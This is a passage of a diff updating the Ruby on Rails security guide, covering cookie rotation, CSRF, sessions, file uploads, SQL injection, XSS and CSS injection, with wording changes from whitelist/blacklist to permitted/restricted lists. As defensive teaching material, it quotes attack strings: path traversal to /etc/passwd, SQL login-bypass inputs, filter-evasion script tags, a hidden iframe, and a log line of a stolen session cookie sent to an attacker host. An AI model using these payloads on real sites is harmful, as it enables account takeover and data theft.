+Rotation is ideal for changing cookie configurations and ensuring old cookies
+aren't immediately invalid. Your users then have a chance to visit your site,
+get their cookie read with an old configuration and have it rewritten with the
+new change. The rotation can then be removed once you're comfortable enough
+users have had their chance to get their cookies upgraded.
-However, since Rails 4, the default store is EncryptedCookieStore. With
-EncryptedCookieStore the session is encrypted before being stored in a cookie.
-This prevents the user from accessing and tampering the content of the cookie.
-Thus the session becomes a more secure place to store data. The encryption is
-done using a server-side secret key `secrets.secret_key_base` stored in
-`config/secrets.yml`.
+It's possible to rotate the ciphers and digests used for encrypted and signed cookies.
-That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA1, for compatibility). So _don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters, use `rails secret` instead_.
+For instance to change the digest used for signed cookies from SHA1 to SHA256,
+you would first assign the new configuration value:
-`secrets.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `secrets.secret_key_base` initialized to a random key present in `config/secrets.yml`, e.g.:
+```ruby
+Rails.application.config.action_dispatch.signed_cookie_digest = "SHA256"
+```
- development:
- secret_key_base: a75d...
+Now add a rotation for the old SHA1 digest so existing cookies are
+seamlessly upgraded to the new SHA256 digest.
- test:
- secret_key_base: 492f...
+```ruby
+Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies|
+ cookies.rotate :signed, digest: "SHA1"
+end
+```
- production:
- secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
+Then any written signed cookies will be digested with SHA256. Old cookies
+that were written with SHA1 can still be read, and if accessed will be written
+with the new digest so they're upgraded and won't be invalid when you remove the
+rotation.
-Older versions of Rails use CookieStore, which uses `secret_token` instead of `secret_key_base` that is used by EncryptedCookieStore. Read the upgrade documentation for more information.
+Once users with SHA1 digested signed cookies should no longer have a chance to
+have their cookies rewritten, remove the rotation.
-If you have received an application where the secret was exposed (e.g. an application whose source was shared), strongly consider changing the secret.
+While you can setup as many rotations as you'd like it's not common to have many
+rotations going at any one time.
+
+For more details on key rotation with encrypted and signed messages as
+well as the various options the `rotate` method accepts, please refer to
+the
+[MessageEncryptor API](http://api.rubyonrails.org/classes/ActiveSupport/MessageEncryptor.html)
+and
+[MessageVerifier API](http://api.rubyonrails.org/classes/ActiveSupport/MessageVerifier.html)
+documentation.
### Replay Attacks for CookieStore Sessions
@@ -139,7 +217,7 @@ The best _solution against it is not to store this kind of data in a session, bu
NOTE: _Apart from stealing a user's session ID, the attacker may fix a session ID known to them. This is called session fixation._
-![Session fixation](images/session_fixation.png)
+![Session fixation](images/security/session_fixation.png)
This attack focuses on fixing a user's session ID known to the attacker, and forcing the user's browser into using this ID. It is therefore not necessary for the attacker to steal the session ID afterwards. Here is how this attack works:
@@ -166,7 +244,7 @@ Another countermeasure is to _save user-specific properties in the session_, ver
### Session Expiry
-NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site request forgery (CSRF), session hijacking and session fixation._
+NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site request forgery (CSRF), session hijacking, and session fixation._
One possibility is to set the expiry time-stamp of the cookie with the session ID. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _expire sessions in a database table_. Call `Session.sweep("20 minutes")` to expire sessions that were used longer than 20 minutes ago.
@@ -182,7 +260,7 @@ class Session < ApplicationRecord
end
```
-The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:
+The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a `created_at` column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:
```ruby
delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
@@ -194,7 +272,7 @@ Cross-Site Request Forgery (CSRF)
This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.
-![](images/csrf.png)
+![](images/security/csrf.png)
In the [session chapter](#sessions) you have learned that most Rails applications use cookie-based sessions. Either they store the session ID in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is that if the request comes from a site of a different domain, it will also send the cookie. Let's start with an example:
@@ -204,7 +282,7 @@ In the [session chapter](#sessions) you have learned that most Rails application
* The web application at `www.webapp.com` verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
* Bob doesn't notice the attack - but a few days later he finds out that project number one is gone.
-It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere - in a forum, blog post or email.
+It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere - in a forum, blog post, or email.
CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) - less than 0.1% in 2006 - but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in many security contract works - _CSRF is an important security issue_.
@@ -212,7 +290,7 @@ CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) - less th
NOTE: _First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF._
-The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:
+The HTTP protocol basically provides two main types of requests - GET and POST (DELETE, PUT, and PATCH should be used like POST). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:
**Use GET if:**
@@ -224,7 +302,7 @@ The HTTP protocol basically provides two main types of requests - GET and POST (
* The interaction _changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or
* The user is _held accountable for the results_ of the interaction.
-If your web application is RESTful, you might be used to additional HTTP verbs, such as PATCH, PUT or DELETE. Most of today's web browsers, however, do not support them - only GET and POST. Rails uses a hidden `_method` field to handle this barrier.
+If your web application is RESTful, you might be used to additional HTTP verbs, such as PATCH, PUT, or DELETE. Some legacy web browsers, however, do not support them - only GET and POST. Rails uses a hidden `_method` field to handle these cases.
_POST requests can be sent automatically, too_. In this example, the link www.harmless.com is shown as the destination in the browser's status bar. But it has actually dynamically created a new form that sends a POST request.
@@ -247,7 +325,7 @@ Or the attacker places the code into the onmouseover event handler of an image:
There are many other possibilities, like using a `<script>` tag to make a cross-site request to a URL with a JSONP or JavaScript response. The response is executable code that the attacker can find a way to run, possibly extracting sensitive data. To protect against this data leakage, we must disallow cross-site `<script>` tags. Ajax requests, however, obey the browser's same-origin policy (only your own site is allowed to initiate `XmlHttpRequest`) so we can safely allow them to return JavaScript responses.
-Note: We can't distinguish a `<script>` tag's origin—whether it's a tag on your own site or on some other malicious site—so we must block all `<script>` across the board, even if it's actually a safe same-origin script served from your own site. In these cases, explicitly skip CSRF protection on actions that serve JavaScript meant for a `<script>` tag.
+NOTE: We can't distinguish a `<script>` tag's origin—whether it's a tag on your own site or on some other malicious site—so we must block all `<script>` across the board, even if it's actually a safe same-origin script served from your own site. In these cases, explicitly skip CSRF protection on actions that serve JavaScript meant for a `<script>` tag.
To protect against all other forged requests, we introduce a _required security token_ that our site knows but other sites don't know. We include the security token in requests and verify it on the server. This is a one-liner in your application controller, and is the default for newly created Rails applications:
@@ -257,13 +335,12 @@ protect_from_forgery with: :exception
This will automatically include a security token in all forms and Ajax requests generated by Rails. If the security token doesn't match what was expected, an exception will be thrown.
-NOTE: By default, Rails includes jQuery and an [unobtrusive scripting adapter for
-jQuery](https://github.com/rails/jquery-ujs), which adds a header called
-`X-CSRF-Token` on every non-GET Ajax call made by jQuery with the security token.
-Without this header, non-GET Ajax requests won't be accepted by Rails. When using
-another library to make Ajax calls, it is necessary to add the security token as
-a default header for Ajax calls in your library. To get the token, have a look at
-`<meta name='csrf-token' content='THE-TOKEN'>` tag printed by
+NOTE: By default, Rails includes an [unobtrusive scripting adapter](https://github.com/rails/rails/blob/master/actionview/app/assets/javascripts),
+which adds a header called `X-CSRF-Token` with the security token on every non-GET
+Ajax call. Without this header, non-GET Ajax requests won't be accepted by Rails.
+When using another library to make Ajax calls, it is necessary to add the security
+token as a default header for Ajax calls in your library. To get the token, have
+a look at `<meta name='csrf-token' content='THE-TOKEN'>` tag printed by
`<%= csrf_meta_tags %>` in your application view.
It is common to use persistent cookies to store user information, with `cookies.permanent` for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself:
@@ -301,7 +378,7 @@ This will redirect the user to the main action if they tried to access a legacy
http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
```
-If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _And if you redirect to a URL, check it with a whitelist or a regular expression_.
+If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _include only the expected parameters in a legacy action_ (again a permitted list approach, as opposed to removing unexpected parameters). _And if you redirect to a URL, check it with a permitted list or a regular expression_.
#### Self-contained XSS
@@ -315,9 +392,9 @@ This example is a Base64 encoded JavaScript which displays a simple message box.
NOTE: _Make sure file uploads don't overwrite important files, and process media files asynchronously._
-Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like "../../../etc/passwd", it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so - one more reason to run web servers, database servers and other programs as a less privileged Unix user.
+Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like "../../../etc/passwd", it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so - one more reason to run web servers, database servers, and other programs as a less privileged Unix user.
-When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all "../" in a file name and an attacker uses a string such as "....//" - the result will be "../". It is best to use a whitelist approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master):
+When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all "../" in a file name and an attacker uses a string such as "....//" - the result will be "../". It is best to use a permitted list approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a restricted list approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master):
```ruby
def sanitize_filename(filename)
@@ -342,7 +419,7 @@ WARNING: _Source code in uploaded files may be executed when placed in specific
The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file "file.cgi" with code in it, which will be executed when someone downloads the file.
-_If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards.
+_If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level upwards.
### File Downloads
@@ -357,7 +434,7 @@ send_file('/var/www/uploads/' + params[:filename])
Simply pass a file name like "../../../etc/passwd" to download the server's login information. A simple solution against this, is to _check that the requested file is in the expected directory_:
```ruby
-basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
+basename = File.expand_path('../../files', __dir__)
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename !=
File.expand_path(File.join(File.dirname(filename), '../../../'))
@@ -385,7 +462,7 @@ A real-world example is a [router reconfiguration by CSRF](http://www.h-online.c
Another example changed Google Adsense's e-mail address and password. If the victim was logged into Google Adsense, the administration interface for Google advertisement campaigns, an attacker could change the credentials of the victim.

-Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
+Another popular attack is to spam your web application, your blog, or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
For _countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section_.
@@ -397,7 +474,7 @@ The common admin interface works like this: it's located at www.example.com/admi
* Does the admin really have to access the interface from everywhere in the world? Think about _limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
-* _Put the admin interface to a special sub-domain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
+* _Put the admin interface to a special subdomain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
User Management
---------------
@@ -425,7 +502,7 @@ If the parameter was nil, the resulting SQL query will be
SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
```
-And thus it found the first user in the database, returned it and logged them in. You can find out more about it in [this blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
+And thus it found the first user in the database, returned it, and logged them in. You can find out more about it in [this blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
### Brute-Forcing Accounts
@@ -459,7 +536,7 @@ Depending on your web application, there may be more ways to hijack the user's a
INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect registration forms from attackers and comment forms from automatic spam bots by asking the user to type the letters of a distorted image. This is the positive CAPTCHA, but there is also the negative CAPTCHA. The idea of a negative CAPTCHA is not for a user to prove that they are human, but reveal that a robot is a robot._
-A popular positive CAPTCHA API is [reCAPTCHA](http://recaptcha.net/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) is also a Rails plug-in with the same name as the API.
+A popular positive CAPTCHA API is [reCAPTCHA](https://developers.google.com/recaptcha/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) is also a Rails plug-in with the same name as the API.
You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
The problem with CAPTCHAs is that they have a negative impact on the user experience. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. Still, positive CAPTCHAs are one of the best methods to prevent all kinds of bots from submitting forms.
@@ -474,7 +551,7 @@ Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:
* make the elements very small or color them the same as the background of the page
* leave the fields displayed, but tell humans to leave them blank
-The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.
+The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on.
You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](http://nedbatchelder.com/text/stopbots.html):
@@ -496,18 +573,6 @@ config.filter_parameters << :password
NOTE: Provided parameters will be filtered out by partial matching regular expression. Rails adds default `:password` in the appropriate initializer (`initializers/filter_parameter_logging.rb`) and cares about typical application parameters `password` and `password_confirmation`.
-### Good Passwords
-
-INFO: _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._
-
-Bruce Schneier, a security technologist, [has analyzed](http://www.schneier.com/blog/archives/2006/12/realworld_passw.html) 34,000 real-world user names and passwords from the MySpace phishing attack mentioned [below](#examples-from-the-underground). It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
-
-password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.
-
-It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.
-
-A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the _first letters of a sentence that you can easily remember_. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.
-
### Regular Expressions
INFO: _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._
@@ -574,21 +639,21 @@ Injection
INFO: _Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection._
-Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.
+Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query, or programming language, the shell, or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.
-### Whitelists versus Blacklists
+### Permitted lists versus Restricted lists
-NOTE: _When sanitizing, protecting or verifying something, prefer whitelists over blacklists._
+NOTE: _When sanitizing, protecting, or verifying something, prefer permitted lists over restricted lists._
-A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _prefer to use whitelist approaches_:
+A restricted list can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a permitted list which lists the good e-mail addresses, public actions, good HTML tags, and so on. Although sometimes it is not possible to create a permitted list (in a SPAM filter, for example), _prefer to use permitted list approaches_:
* Use before_action except: [...] instead of only: [...] for security-related actions. This way you don't forget to enable security checks for newly added actions.
* Allow &lt;strong&gt; instead of removing &lt;script&gt; against Cross-Site Scripting (XSS). See below for details.
-* Don't try to correct user input by blacklists:
+* Don't try to correct user input using restricted lists:
* This will make the attack work: "&lt;sc&lt;script&gt;ript&gt;".gsub("&lt;script&gt;", "")
* But reject malformed input
-Whitelists are also a good approach against the human factor of forgetting something in the blacklist.
+Permitted lists are also a good approach against the human factor of forgetting something in the restricted list.
### SQL Injection
@@ -615,7 +680,7 @@ The two dashes start a comment ignoring everything after it. So the query return
Usually a web application includes access control. The user enters their login credentials and the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
```ruby
-User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
+User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'")
```
If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be:
@@ -653,7 +718,7 @@ Also, the second query renames some columns with the AS statement so that the we
#### Countermeasures
-Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. *Using `Model.find(id)` or `Model.find_by_some thing(something)` automatically applies this countermeasure*. But in SQL fragments, especially *in conditions fragments (`where("...")`), the `connection.execute()` or `Model.find_by_sql()` methods, it has to be applied manually*.
+Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character, and line breaks. *Using `Model.find(id)` or `Model.find_by_some thing(something)` automatically applies this countermeasure*. But in SQL fragments, especially *in conditions fragments (`where("...")`), the `connection.execute()` or `Model.find_by_sql()` methods, it has to be applied manually*.
Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:
@@ -677,11 +742,11 @@ INFO: _The most widespread, and one of the most devastating security vulnerabili
An entry point is a vulnerable URL and its parameters where an attacker can start an attack.
-The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter - obvious, hidden or internal. Remember that the user may intercept any traffic. Applications or client-site proxies make it easy to change requests. There are also other attack vectors like banner advertisements.
+The most common entry points are message posts, user comments, and guest books, but project titles, document names, and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter - obvious, hidden or internal. Remember that the user may intercept any traffic. Applications or client-site proxies make it easy to change requests. There are also other attack vectors like banner advertisements.
XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.
-During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The [Symantec Global Internet Security threat report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf) also documented 239 browser plug-in vulnerabilities in the last six months of 2007. [Mpack](http://pandalabs.pandasecurity.com/mpack-uncovered/) is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets.
+During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The [Symantec Global Internet Security threat report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf) also documented 239 browser plug-in vulnerabilities in the last six months of 2007. [Mpack](http://pandalabs.pandasecurity.com/mpack-uncovered/) is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high profile targets.
#### HTML/JavaScript Injection
@@ -720,11 +785,11 @@ The log files on www.attacker.com will read like this:
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
```
-You can mitigate these attacks (in the obvious way) by adding the **httpOnly** flag to cookies, so that document.cookie may not be read by JavaScript. HTTP only cookies can be used from IE v6.SP1, Firefox v2.0.0.5, Opera 9.5, Safari 4 and Chrome 1.0.154 onwards. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies [will still be visible using Ajax](https://www.owasp.org/index.php/HTTPOnly#Browsers_Supporting_HttpOnly), though.
+You can mitigate these attacks (in the obvious way) by adding the **httpOnly** flag to cookies, so that document.cookie may not be read by JavaScript. HTTP only cookies can be used from IE v6.SP1, Firefox v2.0.0.5, Opera 9.5, Safari 4, and Chrome 1.0.154 onwards. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies [will still be visible using Ajax](https://www.owasp.org/index.php/HTTPOnly#Browsers_Supporting_HttpOnly), though.
##### Defacement
-With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
+With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials, or other sensitive data. The most popular way is to include code from external sources by iframes:
```html
<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>
@@ -745,15 +810,15 @@ http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode
_It is very important to filter malicious input, but it is also important to escape the output of the web application_.
-Especially for XSS, it is important to do _whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
+Especially for XSS, it is important to do _permitted input filtering instead of restricted_. Permitted list filtering states the values allowed as opposed to the values not allowed. Restricted lists are never complete.
-Imagine a blacklist deletes "script" from the user input. Now the attacker injects "&lt;scrscriptipt&gt;", and after the filter, "&lt;script&gt;" remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
+Imagine a restricted list deletes "script" from the user input. Now the attacker injects "&lt;scrscriptipt&gt;", and after the filter, "&lt;script&gt;" remains. Earlier versions of Rails used a restricted list approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
```ruby
strip_tags("some<<b>script>alert('hello')<</b>/script>")
```
-This returned "some&lt;script&gt;alert('hello')&lt;/script&gt;", which makes an attack work. That's why a whitelist approach is better, using the updated Rails 2 method sanitize():
+This returned "some&lt;script&gt;alert('hello')&lt;/script&gt;", which makes an attack work. That's why a permitted list approach is better, using the updated Rails 2 method sanitize():
```ruby
tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
@@ -762,7 +827,7 @@ s = sanitize(user_input, tags: tags, attributes: %w(href title))
This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.
-As a second step, _it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _Use `escapeHTML()` (or its alias `h()`) method_ to replace the HTML input characters &amp;, &quot;, &lt;, and &gt; by their uninterpreted representations in HTML (`&amp;`, `&quot;`, `&lt;`, and `&gt;`).
+As a second step, _it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _Use `escapeHTML()` (or its alias `h()`) method_ to replace the HTML input characters &amp;, &quot;, &lt;, and &gt; by their uninterpreted representations in HTML (`&amp;`, `&quot;`, `&lt;`, and `&gt;`).
##### Obfuscation and Encoding Injection
@@ -787,7 +852,7 @@ The following is an excerpt from the [Js.Yamanner@m](http://www.symantec.com/sec
var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...
```
-The worms exploit a hole in Yahoo's HTML/JavaScript filter, which usually filters all targets and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
+The worms exploit a hole in Yahoo's HTML/JavaScript filter, which usually filters all targets and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why restricted list filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/news/37/Nduja_Connection_A_cross_webmail_worm_XWW/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
@@ -795,9 +860,9 @@ In December 2006, 34,000 actual user names and passwords were stolen in a [MySpa
### CSS Injection
-INFO: _CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application._
+INFO: _CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari, and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application._
-CSS Injection is explained best by the well-known [MySpace Samy worm](http://namb.la/popular/tech.html). This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, which created so much traffic that MySpace went offline. The following is a technical explanation of that worm.
+CSS Injection is explained best by the well-known [MySpace Samy worm](https://samy.pl/myspace/tech.html). This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, which created so much traffic that MySpace went offline. The following is a technical explanation of that worm.
MySpace blocked many tags, but allowed CSS. So the worm's author put JavaScript into CSS like this:
@@ -811,7 +876,7 @@ So the payload is in the style attribute. But there are no quotes allowed in the
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
```
-The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word "innerHTML":
+The eval() function is a nightmare for restricted list input filters, as it allows the style attribute to hide the word "innerHTML":
```
alert(eval('document.body.inne' + 'rHTML'));
@@ -831,7 +896,7 @@ The [moz-binding](http://www.securiteam.com/securitynews/5LP051FHPE.html) CSS pr
#### Countermeasures
-This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, it may be hard to find a good whitelist CSS filter. _If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' `sanitize()` method as a model for a whitelist CSS filter, if you really need one.
+This example, again, showed that a restricted list filter is never complete. However, as custom CSS in web applications is a quite rare feature, it may be hard to find a good permitted CSS filter. _If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' `sanitize()` method as a model for a permitted CSS filter, if you really need one.
### Textile Injection
